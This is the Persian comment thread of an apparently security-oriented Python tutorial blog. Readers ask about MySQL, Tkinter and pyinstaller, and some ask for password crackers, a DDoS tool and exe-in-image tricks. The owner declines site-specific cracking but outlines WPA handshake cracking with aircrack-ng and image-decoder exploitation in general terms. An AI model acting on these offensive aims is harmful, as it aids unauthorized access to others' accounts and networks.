    در حد ساخت تیبل حذف دریافت اطلاعات از پایگاه داده mysqleمیخام یاد بگیرم

    پاسخ:
    همینطور که گفتم دستورات سادشو در ابتدا باید با سرچ گوگل پیدا کنید و یاد بگیرید .
    و اینکه با هر زبانی که میخواین برنامه سمت سرور سایتتون رو بنویسید (مثلا پایتون یا پی اچ پی) باید برید و کتابخونه های مخصوصش رو برای کار با mysql یاد بگیرین
  • سلام 

    من میخام تو اسکریپتم VPN فعال کنم میشه در این موضوع کمکم کنید

     

    پاسخ:
    سلام . اگه منظورتون اینه که بتونین با پایتون درخواست هایی به وب بفرستین که از پروکسی استفاده کنه برای اینکار میتونید از پروکسی تور استفاده کنید . 
    در ویدیو پاسخ به سوالات شما قسمت 1 اومدیم توضیح دادیم چطوری در پایتون از پروکسی تور استفاده کنیم : لینک :
  • سلام

    میشه کار باmysqleرو یاد بدین

    چون من دارم یه چیزی میسازم که بهmysqleنیاز هست

    پاسخ:
    سلام .
    در چه حد میخواین یاد بگیرین ؟ اگه منظورتون فقط دستورات پایه مای اسکیوال هستش میتونید با یک سرچ ساده در گوگل پیداشون کنید
  • خیلی ممنون از جواب شما 

    بله منظور من هم از بهترین، از لحاظ کارایی و پرفورمنس هست 

    ببخشید یه سوال دیگه هم دارم 

    میگن نسخه ۳.۹، نسبت به نسخه های قبلی سریعتر شده، درسته؟

    باز هم ممنون به خاطر پاسخگویی شما

     

     

    پاسخ:
    درود . سلامت باشید
    ببینید داخل خود سایت python.org در بخش دانلود پایتون که برید ، ویژگی ها و تغییرات کامل هر نسخه رو توضیح داده . 
    برای مثال لینک بالا توضیح کامل در مورد نسخه ی 3.9.2 هستش .
  • سلام به شما

    آقا یه سوال دارم، به نظر شما بهترین نسخه پایتون کدومه؟ ۳.۹ یا ۳.۸ ؟

    پاسخ:
    سلام خسته نباشید . نمیدونم منظورتون از بهترین چیه . ولی در کل هرچی ورژن بالاتر بره باگ ها بیشتر رفع شدن و برنامه کامل تر میشه . 
    بنابراین جدیدترین ورژن رسمی (غیر از ورژن های pre که برای تست و دیباگ هستند) بهترین نسخه هستش .
  • سلام

    چجوری یه فایلی رو باsocketبفرستم؟؟

    مثلا بجای ارسال متن فایل بفرستم

    چجوری اینکارو بکنم؟؟؟

    پاسخ:
    سلام .
    ممنون که پرسیدین
    در پست بعدی همین موضوع رو کامل توضیح میدیم .
  • ازهمون دستوری که شما به یکی از دوستان گفته بودید به اقایmr.nobody توی همین صفحه

    پاسخ:
    خب وقتی تبدیل به exe میشه آیا اروری میده ؟ اگه ارور میده متنشو بفرستید . دقیقا چه اتفاقی میافته ؟
  • نه من نمیخام شما اموزش کرکر رو بدین خودم کرک رو ساختم کار هم میکنه

    اما وقتی تبدیل بهexeمیکنم اررور میده

    نمیدونم چرا این اتفاق میفته مشکل ازpyinstallerهستش؟؟؟

    اینم لینک کرکری که ساختم و کار میکنه اما تبدیل به exeمیشه اررور میده

    https://bayanbox.ir/download/6416970451812121302/cracker.py

    دلیل اینکه وقتی تبدیل بهexeمیکنم اررور میده چیه؟؟

     

    پاسخ:
    با چه دستوری تبدیل به exe میکنید ؟ منظورم اینه چه شکلی از pyinstaller استفاده میکنید ؟
  • سلام

    یه سایتی هست که میشه داخلش چالش ناشناس ساخت اونوقت اون برای چالش ناشناس یه رمز میزاره که تا خودش نزنه نمیتونه پیام ها رو ببینه بفیه هم میتونن به اون ادم از طریق لینک پیام بدن

    من یه کرکر برای کرک پسورد های لینک های چالش ناشناسی که با اون سات درست میشه درست کردم و درست کار میکنه اما وفتی تبدیل بهexeمیکنم موقع باز شدن اررور میده دلیل ارور چیه؟

    لینک سایت سازنده چالش ناشناس

     

    لینک کرکر پسورد چالش های ناشناس

    پاسخ:
    سلام میشه چنین کاری کرد ولی متاسفم ما نمیتونیم روی یک وبسایت خاص آموزش کرک کردن بدیم . ممنون 
  • سلام 

    چجوری میشه با پایتون یک وی پی ان درست کرد؟

     

    پاسخ:
    سلام. اگه منظورتون اینه که پایتون بتونه به یه وی پی ان برا اتصالاتش وصل بشه میتونم بگم یکی از راهاش اینه پروکسی تور رو توی سیستمتون فعال کنید و در پایتون با استفاده از کتابخونه های مربوطه وصل بشیم به تور . داخل ویدیو پاسخ به سوالات شما قسمت اول اموزش اتصال پایتون به تور رو گفتیم : 
  • سلام

    من یه سوال دارم

    من اگه  در پایتون با فلاسک یه سایت درست کنم اون رو توی هر هاستی (رایگان یا غیر رایگان)  میتونم اپلود کنم یا اینکه باید حتمی در هاست مخصوص پایتون بخرم و استفاده کنم؟

    پاسخ:
    درود . بنده از فریمورک فلاسک در پایتون اطلاعی ندارم . ولی فک میکنم باید هاستی کانفیگ شده و آماده مختص پایتون تهیه کنید .
  • سلام بر کینگ اف پایتون

    مستر میگم که میشه یه توضیحی بدی 

    من چجوری یه سورس بنویسم که تا اجرا شد

    سی ام دی باز بشه و درونش دستور دلخواه من گزاشته بشه؟

    راستی به زحمت ddoser برا اتک به سایت ها هم بزار مرسی

    پاسخ:
    درود . 
    برا اجرای دستورات cmd در پایتون از کتابخونه ی os میشه استفاده کرد :

    import os
    os.system("command")

    به جای کلمه ی command اون دستوری که میخواین در cmd اجرا بشه رو بنویسید .
    ddos زدن به یک سایت روش های مختلفی داره . میتونه با استفاده از آسیب پذیری های سایت انجام بشه . ولی خب نکته اینه که با شرایط عادی و با سیستم های ضعیف ما معمولا نمیشه ddos پیاده کرد.

  • سلام

    من یه بار توی یه سایت خارجی دیده بودم یه فیلم گزاشته بود که چطور یه فایلexeرو داخلpngجاسازی کنه که وقتی عکس باز میشد  هم عکس نمایش داده میشد و هم فایلexeاجرا میشد اون اینکار رو با یه نرم افزار کرد که باهاش عکس رو باز میکرد و کد فایلexeرو داخلش میزاشت اما چون زبانش فارسی نبود طرز کارش رو نفهمیدم 

    به مظر شما میشه کد داخل فایلexeرو به صورت دستی کپی کنی و زیر فایل pngکپی کنی؟

    ببخشید وقتتون رو گرفتم

    پاسخ:
    درود . ببینید میشه فایل اجرایی رو بایند کرد به عکس ولی در اصل اینکار باعث نمیشه وقتی عکس اجرا میشه ، فایل اجرایی هم خودکار اجرا بشه . در این روش ما فقط داریم این دوتا فایل رو آرشیو یه جورایی . 
    ولی اینکه تکنیکی وجود داشته باشه که وقتی عکس اجرا میشه فایل هم اجرا بشه بستگی به فاکتور های مختلف داره . ببینید ممکنه در طول زمان این روش ها بوجود بیان و از بین برن . فرض کنید شما آسیب پذیری داخل انکودینگ jpg پیدا میکنید.  و از طریق این آسیب پذیری میتونید کاری کنید تا وقتی که یک دیکودر jpg میخواد این فایل را باز کنه یک فایل اجرایی به طور خودکار اجرا بشه . میتونید از چنین روشی استفاده کنید ولی ممکنه این آسیب پذیری در گذر زمان در نسخه های بعدی انکودینگ jpg از بین بره . بنابراین نمیتونیم بگیم روش قطعی برای اینکار وجود داره .
  • سلام من همین کارو واسه اسکریپتم کردم ولی ارور 

    AttributeError: 'NoneType' object has no attribute 'get'

    میگیرم

    پاسخ:
    سورس کامل اسکریپتتونو بفرستید ببینم .
  • سلام مستر پایتون . می خواستم بدونم چطور از Entry یک رشته رو بگیرم . در اصل منظورم اینه که یک button باشه که با زدن اون مقدار داخل Entry رو دریافت کنه بعدش هم چیزی که تا الان وارد شده رو پاک کنه .

     

    Tkinter#

    پاسخ:
    سلام . در این سورس به محض کلیک کردن روی button ، متن داخل entry چاپ میشه و از روی entry پاک میشه
    from tkinter import Tk , Button , Entry
    
    
    def func():
        text = ent.get() # Get TEXT OF Entry
        ent.delete(0,"end") # DELETE Whole Of TEXT IN Entry
        print(text)
        
    root = Tk()
    ent = Entry(root)
    ent.pack()
    
    b = Button(root  , text = "Print Text" , command = func)
    b.pack()
    
    

  • سلام 

    چرا چند وقته که پستی منتشر نکرده اید؟

     

    پاسخ:
    امشب پست بعدی میرسه :))
  • سلام به شما

     یه سوال دارم، امکانش هست که پردازش تصویر رو هم آموزش دهید؟

     

    پاسخ:
    درود بر شما . 
    ببینید همینطور که میدونید هدف این وبلاگ توسعه ابزار های امنیتی هستش . از پردازش تصویر برای مباحث امنیتی استفاده خواهیم کرد در آینده .
  • سلام

    من میخام یه کرکر پسورد وای فای درست کنم

    اما چجوری باید به وای فای وصل شد تا اینجوری پسورد ها رو تست کنم؟

    پاسخ:
    درود . 
    در مبحث حملات مربوط به شبکه های بیسیم (wifi) کرک کردن یا نفوذ الگوریتم های خاص داره . اولا بستگی داره مودم وایرلس هدف شما از چه رمزنگاری استفاده میکنه (wep , wpa ,...) 
    هر کدوم از روش های رمزنگاری بالا ، روش کرک خاص خودشونو دارن . کرک کردنشون به این صورت نیست که اسکریپتی بنویسید که تلاش کنه با پسوورد های مختلف به وای فای وصل بشه . این سرعت بسیار پایینی خواهد داشت . روش های بهتری برای کرک هست .

    برای مثال برای کرک wpa شما باید ابتدا هندشیک (handshake) برقراری ارتباط یکی از کلاینت ها رو شنود و ضبط کرده و سپس شروع کنید با استفاده از اطلاعات هندشیک پسوورد رو کرک کنید . ابزار هایی مثل aircrack-ng کارشون همینه . 
    بنابراین قبل از نوشتن چنین کرکری نیاز هستش  در مورد زیرساخت wlan  و روش های حمله و تست نفوذ وایرلس ، مطالعه کافی داشته باشید . 
  • سلام

    میشه کرکر پست های رمزدار وبلاگ های بیان رو بزارید

    ممنون

    پاسخ:
    سلام . چنین اهداف آموزشی رو نمیشه قرار داد . در اصل تمام پست های ما یه موضوع کلی رو پوشش میده .
    ممکنه ما بیایم مثلا روش ساخت ربات های وب رو به طور کلی بدیم ولی خب اینکه بیایم مستقیم بگیم این روش کرک کردن فلان سایت متاسفانه اجازه چنین چیزی رو نداریم .
  • سلام میشه یه دوره کامل درباره کار با socket به زبان ساده بزارید 

    چون سایت هایی که درباره کار با socket آموزش میزارن برای کدهاشون توضیحات نمیزارن

    پاسخ:
    سلام . حتما در پست های آینده .
  • سلام مستر پایتون خسته نباشی !

    من یه برنامه گرافیکی ساختم . وقتی برنامه باز میشه کنار محیط گرافیکی کنسول هم نمایش داده میشه . برای اینکه کنسول نمایش داده نشه و فقط یه پنجره ویندوز باشه چی کار کتن ؟

    دومین سوالم هم اینه که دیدی وقتی .py رو به .exe تبدیل می کنیم یسری فایل ایجاد میشه کنار اون فایل اصلی ؟ من امتحان کردم وقتی اون برنامه اصلی کنار اون یکی فایلا نباشه درست کار نمیکنه ؟ چی کار کنم همشون عین یه برنامه توی یه فایل باشن ؟

    واسه برنامه هامون که فرمت .py یا .exe دارن چجوری آیکون انتخاب کنیم ؟

     

     

    ببخشید زیاد شد . @_@

    پاسخ:
    سلام . 
    در مورد سوال اول اینکه ، پسوند .py اسکریپت رو به .pyw تغییر بدین دیگه کنسول نمایش داده نمیشه (اگه از تکینتر استفاده میکنید حتما باید دستور mainloop زده باشین) .
    ولی اگه میخواین وقتی به فایل exe تبدیلش کردین کنسول نمایش داده نشه از pyinstaller به شکل زیر استفاده کنید : 


    pyinstaller  --windowed  script.py
    در اینجا سوییچ windowed باعث میشه در برنامه خروجی کنسول نمایش داده نشه (برای برنامه های گرافیکی که تیاز به کنسول ندارن کاربرد داره) .

    جواب سوال دوم اینه که کافیه از سوییچ onefile در pyinstaller استفاده کنید . اینطوری باعث میشه کل خروجی اسکریپتتون در یک فایل exe خلاصه بشه :
    pyinstaller  --onefile  script.py
    برای گذاشتن ایکون روی خروجی هم کافیه از سوییچ icon در pyinstaller استفاده کنیم :
    pyinstaller  --icon=file.ico  script.py
    دقت کنید به جای file.ico باید مسیر ایکون خودتون رو بدید و فرمت فایل ایکون هم حتما باید ico باشه . 

    نهایتا میتونیم تمام سوییچ های بالا رو برای یه اسکریپت ترکیب کنیم :
    pyinstaller  --onefile  --windowed  --icon=icon.ico  script.py
ارسال نظر آزاد است، اما اگر قبلا در بیان ثبت نام کرده اید می توانید ابتدا وارد شوید.
شما میتوانید از این تگهای html استفاده کنید:
<b> یا <strong>، <em> یا <i>، <u>، <strike> یا <s>، <sup>، <sub>، <blockquote>، <code>، <pre>، <hr>، <br>، <p>، <a href="" title="">، <span style="">، <div align="">
تجدید کد امنیتی